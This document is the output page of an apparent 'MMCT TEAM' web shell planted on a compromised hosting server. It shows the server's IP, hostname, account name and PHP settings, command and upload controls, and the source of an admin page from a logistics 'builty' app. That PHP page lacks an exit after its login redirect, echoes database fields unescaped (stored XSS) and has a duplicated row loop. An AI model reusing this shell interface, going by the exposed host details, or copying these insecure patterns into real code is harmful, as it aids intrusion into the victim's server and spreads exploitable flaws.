MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/builty/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/builty/admin/view-builty.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("inc/config.php");
 
?>

<!DOCTYPE html>
<html lang="en">

<?php require "inc/head.php"; ?>

    <body>
        <!-- header-->
    <?php require "inc/header.php"; ?>
        <!-- End Main-content Top bar-->

        <!-- main-content-->
        <div class="wrapper">
        <?php require "inc/sidebar.php"; ?>
            <div id="content">
                <div class="row">
                    <div class="col-12 col-sm-12">
                        <div class="row mb-4">
                            <div class="col-12 col-md-12">
                                <div class="card redial-border-light redial-shadow mb-4">
                                    <div class="card-body">
                                        <h6 class="header-title pl-3 redial-relative">Data Table</h6>

                                        <input type="date" id="filter-date" class="form-control mb-3" style="max-width: 250px;">
                                       
                                        <table id="example" class="table table-bordered" cellspacing="0" width="100%">
    <thead>
        <tr>
            <th>#</th>
            <th>Gr No.</th>
            <th>Action</th>
            <th>Status</th>
            <th>Remark</th>
            <th>Destination</th>
            <th>Origin Phone</th>
            <th>Origin e-Way Bill</th>
            <th>Employee Name</th>
            <th>Created Date</th>
        </tr>
    </thead>
    <tbody>
        <?php
        
        $query = "
            SELECT b.*, e.femp_name, e.lemp_name 
            FROM builties b 
            LEFT JOIN employees e ON b.emp_id = e.id
            ";
        $query_run = mysqli_query($conn, $query);

        if (mysqli_num_rows($query_run) > 0) {
            foreach ($query_run as $row) {
              
                $invoice_file = "../vendor/invoices/invoice_" . $row['id'] . ".pdf";
                $invoice_generated = file_exists($invoice_file); 

               
                $statuses = ["Pending", "Shipped", "In Transit", "Delivered"];
        ?>
                <tr>
                    <?php $i = 1;
                    foreach ($query_run as $row) { ?>
                    <td><?php echo $i++; ?></td>
                    <!-- <td><?php echo $row['id']; ?></td> -->
                    <td><?php echo $row['grno']; ?></td>
                    <td>
                        <div class='btn-group mb-2'>
                            <a href="../vendor/generate_pdf.php?id=<?php echo $row['id']; ?>" class="btn btn-primary"><i class='fa fa-file'></i></a> &nbsp;&nbsp;
                            
                            <?php if (!$invoice_generated) { ?>
                                <a href="update-builty.php?id=<?php echo $row['id']; ?>" class="btn btn-success"><i class='fa fa-pencil'></i></a>&nbsp;&nbsp;
                            <?php } ?>
                            
                            <form action="add_builty.php" method="post" style="display:inline;">
                                <input type="hidden" name="delete_id" value="<?php echo $row['id']; ?>">
                                <button type="submit" name="delete_builty" class="btn btn-danger"><i class='fa fa-trash'></i></button>
                            </form> &nbsp;&nbsp;
                        </div>
                        
                        <?php if (!$invoice_generated) { ?>
                            <div class='btn-group mb-2'>
                                <a href="../vendor/invoice.php?id=<?php echo $row['id']; ?>" class="btn btn-warning">
                                    Invoice
                                </a>
                            </div>
                        <?php } ?>
                    </td>

                   
                    <td>
                        <select class="status-dropdown" data-id="<?php echo $row['id']; ?>">
                                <?php
                                foreach ($statuses as $status) {
                                    $selected = ($row['status'] == $status) ? "selected" : "";
                                    echo "<option value='$status' $selected>$status</option>";
                                }
                                ?>
                            </select>


                          <!-- Remark Input (hidden initially) -->
                          <input type="text"
                                class="status-remark form-control mt-1"
                                placeholder="Enter remark"
                                data-id="<?php echo $row['id']; ?>"
                                id="remark_<?php echo $row['id']; ?>"
                                style="display: none;"
                                value="<?php echo htmlspecialchars($row['remark'] ?? ''); ?>">
                    </td> 

                    <td><?php echo $row['remark']; ?></td>
                    <td><?php echo $row['destination']; ?></td>
                    <td><?php echo $row['origin_phone']; ?></td>
                    <td><?php echo $row['origin_eway']; ?></td>
                    <td><?php echo htmlspecialchars($row['femp_name'] . ' ' . $row['lemp_name']); ?></td>
                    <th><?php echo date('Y-m-d', strtotime($row['created_at'])); ?></th>


                </tr>
        <?php
            }
        }}
        ?>
    </tbody>
</table>




                                     
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>    
            </div>
        </div>
        <!-- End main-content-->

        <!-- Top To Bottom-->
        <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50"> 
            <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
        </a>
        <!-- End Top To Bottom-->

        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
// $(document).ready(function() {
//     $(".status-dropdown").change(function() {
//         var newStatus = $(this).val();
//         var recordId = $(this).data("id");

//         $.ajax({
//             url: "vendor/update_status.php",
//             type: "POST",
//             data: { id: recordId, status: newStatus },
//             success: function(response) {
//                 alert(response);
//             }
//         });
//     });
// });

$(document).ready(function () {
    // When status changes: show remark input
    $(".status-dropdown").change(function () {
        const recordId = $(this).data("id");
        const newStatus = $(this).val();

        // Show the remark field and focus
        const $remarkInput = $("#remark_" + recordId);
        $remarkInput.slideDown().focus();

        const currentRemark = $remarkInput.val();

        // Update status with existing remark
        updateStatusWithRemark(recordId, newStatus, currentRemark, false);
    });

    // When remark input is blurred or Enter key is pressed
    $(document).on("blur", ".status-remark", function () {
        const $input = $(this);
        const recordId = $input.data("id");
        const remark = $input.val();
        const status = $(".status-dropdown[data-id='" + recordId + "']").val();

        updateStatusWithRemark(recordId, status, remark, true);
    });

    // Submit remark on pressing Enter key
    $(document).on("keydown", ".status-remark", function (e) {
        if (e.key === "Enter") {
            e.preventDefault();
            $(this).blur(); // trigger blur to save and hide
        }
    });

    function updateStatusWithRemark(id, status, remark, hideAfter) {
        $.ajax({
            url: "../vendor/update_status.php",
            type: "POST",
            data: {
                id: id,
                status: status,
                remark: remark
            },
            success: function (response) {
                console.log("Updated:", response);

                if (hideAfter) {
                    // Hide the remark field after success
                    $("#remark_" + id).slideUp();
                    alert("Remark saved successfully!"); // or use toast if you prefer
                }
            },
            error: function (xhr, status, error) {
                console.error("Error:", error);
                alert("Failed to update status/remark.");
            }
        });
    }
});
</script>


     
        <script>
            function confirmInvoice(id) {
                if (confirm("Are you sure you want to create an Invoice?")) {
                    window.location.href = "invoice.php?id=" + id;
                }
            }
        </script>


<script>
$(document).ready(function () {
    $('#filter-date').on('change', function () {
        var selectedDate = $(this).val();
        selectedDate = selectedDate.trim();

        $('#example tbody tr').each(function () {
            var rowDate = $(this).find('th:last').text().trim().substring(0, 10); // Get only the YYYY-MM-DD part
            if (selectedDate === "" || rowDate === selectedDate) {
                $(this).show();
            } else {
                $(this).hide();
            }
        });
    });
});
</script>


        <!-- jQuery -->
        <script src="dist/js/plugins.min.js"></script>        
        <script src="dist/js/common.js"></script>
    </body>

</html>

MMCT - 2023